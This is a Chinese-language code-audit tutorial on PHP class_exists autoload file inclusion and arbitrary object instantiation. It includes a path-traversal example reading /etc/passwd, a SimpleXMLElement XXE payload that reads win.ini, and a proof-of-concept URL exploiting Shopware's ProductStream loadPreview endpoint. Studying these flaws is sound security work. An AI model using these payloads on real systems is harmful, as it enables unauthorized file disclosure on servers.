AI智能
改变未来

PHP审计之class_exists与任意实例化漏洞


PHP审计之class_exists与任意实例化漏洞

前言

发现PHP的一些漏洞函数挺有意思,跟着七月火师傅的文章来学习.

class_exists函数

函数说明

class_exists :(PHP 4, PHP 5, PHP 7)

功能 :检查类是否已定义

定义

bool class_exists ( string $class_name[, bool $autoload = true ] )

$class_name 为类的名字,在匹配的时候不区分大小写。默认情况下 $autoloadtrue,当 $autoloadtrue 时,会自动加载本程序中的 __autoload 函数;当 $autoloadfalse 时,则不调用 __autoload 函数。

函数漏洞

class_exists() 函数来判断用户传过来的控制器是否存在,默认情况下,如果程序存在 __autoload 函数,那么在使用 class_exists() 函数就会自动调用本程序中的 __autoload 函数,这题的文件包含漏洞就出现在这个地方。攻击者可以使用 路径穿越 来包含任意文件,当然使用路径穿越符号的前提是 PHP5~5.3(包含5.3版本)版本 之间才可以。例如类名为: ../../../../etc/passwd 的查找,将查看passwd文件内容

实例分析

结合上面的

class_exists

函数漏洞, 来看到上面的代码。

接受值过来

$controllerName

过来然后调用

class_exists

将该变量传入,而

class_exists

$autoload

参数值并未进行设置,该参数默认为True,则会自动调用本类中的

__autoload

函数,这个函数恰巧进行了文件包含,即任意文件包含漏洞。

看到第九行代码,这个位置new了一个接受过来的参数值,则可用实现任意的类实例化。但是在该代码中没有一些能直接在

__construct

构造函数中实现命令执行或其他操作的类。

所以这里利用

SimpleXMLElement

类来实现实例化中实现一个XXE。

看到demo

<?php$xml = \'<?xml version="1.0"?><!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]><catalog><core id="test101"><author>John, Doe</author><title>I love XML</title><category>Computers</category><price>9.99</price><date>2018-10-01</date><description>&xxe;</description></core></catalog>\';$xxe = new SimpleXMLElement($xml);var_dump($xxe)?>//结果:object(SimpleXMLElement)#1 (1) { ["core"]=> object(SimpleXMLElement)#2 (7) { ["@attributes"]=> array(1) { ["id"]=> string(7) "test101" } ["author"]=> string(9) "John, Doe" ["title"]=> string(10) "I love XML" ["category"]=> string(9) "Computers" ["price"]=> string(4) "9.99" ["date"]=> string(10) "2018-10-01" ["description"]=> object(SimpleXMLElement)#3 (1) { ["xxe"]=> object(SimpleXMLElement)#4 (1) { ["xxe"]=> string(85) "; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 " } } } }

win.ini内容被读取。

代码审计

这里拿Shopware 来做一个审计

漏洞点在

在 engine\\Shopware\\Controllers\\Backend\\ProductStream.php

loadPreviewAction

方法中。

路由访问则

/Backend/ProductStream/loadPreviewAction

看到

loadPreviewAction

方法代码

public function loadPreviewAction(){$conditions = $this->Request()->getParam(\'conditions\');$conditions = json_decode($conditions, true);$sorting = $this->Request()->getParam(\'sort\');$criteria = new Criteria();/** @var RepositoryInterface $streamRepo */$streamRepo = $this->get(\'shopware_product_stream.repository\');$sorting = $streamRepo->unserialize($sorting);foreach ($sorting as $sort) {$criteria->addSorting($sort);}$conditions = $streamRepo->unserialize($conditions);

接收sort参数的值然后进行json_decode,而后

这里获取

shopware_product_stream.repository

内容,然后调用

unserialize

public function unserialize($serializedConditions){return $this->reflector->unserialize($serializedConditions, \'Serialization error in Product stream\');}

跟踪这个

unserialize

LogawareReflectionHelper.php

unserialize

代码

public function unserialize($serialized, $errorSource){$classes = [];foreach ($serialized as $className => $arguments) {$className = explode(\'|\', $className);$className = $className[0];try {$classes[] = $this->reflector->createInstanceFromNamedArguments($className, $arguments);} catch (\\Exception $e) {$this->logger->critical($errorSource . \': \' . $e->getMessage());}}return $classes;}

遍历

$serialized

,这个

$serialized

是我们sort传递并且进行json_deocode解密后的数据。

随后调用

createInstanceFromNamedArguments

,跟进了一下方法,发现就是反射创建了一个实例化的对象。和Java里面的反射感觉上差不多。

public function createInstanceFromNamedArguments($className, $arguments){$reflectionClass = new \\ReflectionClass($className);if (!$reflectionClass->getConstructor()) {return $reflectionClass->newInstance();}$constructorParams = $reflectionClass->getConstructor()->getParameters();$newParams = [];foreach ($constructorParams as $constructorParam) {$paramName = $constructorParam->getName();if (!isset($arguments[$paramName])) {if (!$constructorParam->isOptional()) {throw new \\RuntimeException(sprintf("Required constructor Parameter Missing: \'$%s\'.", $paramName));}$newParams[] = $constructorParam->getDefaultValue();continue;}$newParams[] = $arguments[$paramName];}return $reflectionClass->newInstanceArgs($newParams);}

分析完以上的,其实显而易见和上面的实例一样是一个任意实例化漏洞。

那么也可以借助

SimpleXMLElement

类来实现一个XXE的效果,当然也可以去寻找一些

__construct

函数中有做其他操作例如命令执行或文件读取的也可以利用上。

POC如下:

/backend/ProductStream/loadPreview?_dc=1575439441940&sort={"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}&conditions=%7B%7D&shopId=1&currencyId=1&customerGroupKey=EK&page=1&start=0&limit=25

参考文章

代码审计Day3 – 实例化任意对象漏洞

php代码审计危险函数总结

赞(0) 打赏
未经允许不得转载:爱站程序员基地 » PHP审计之class_exists与任意实例化漏洞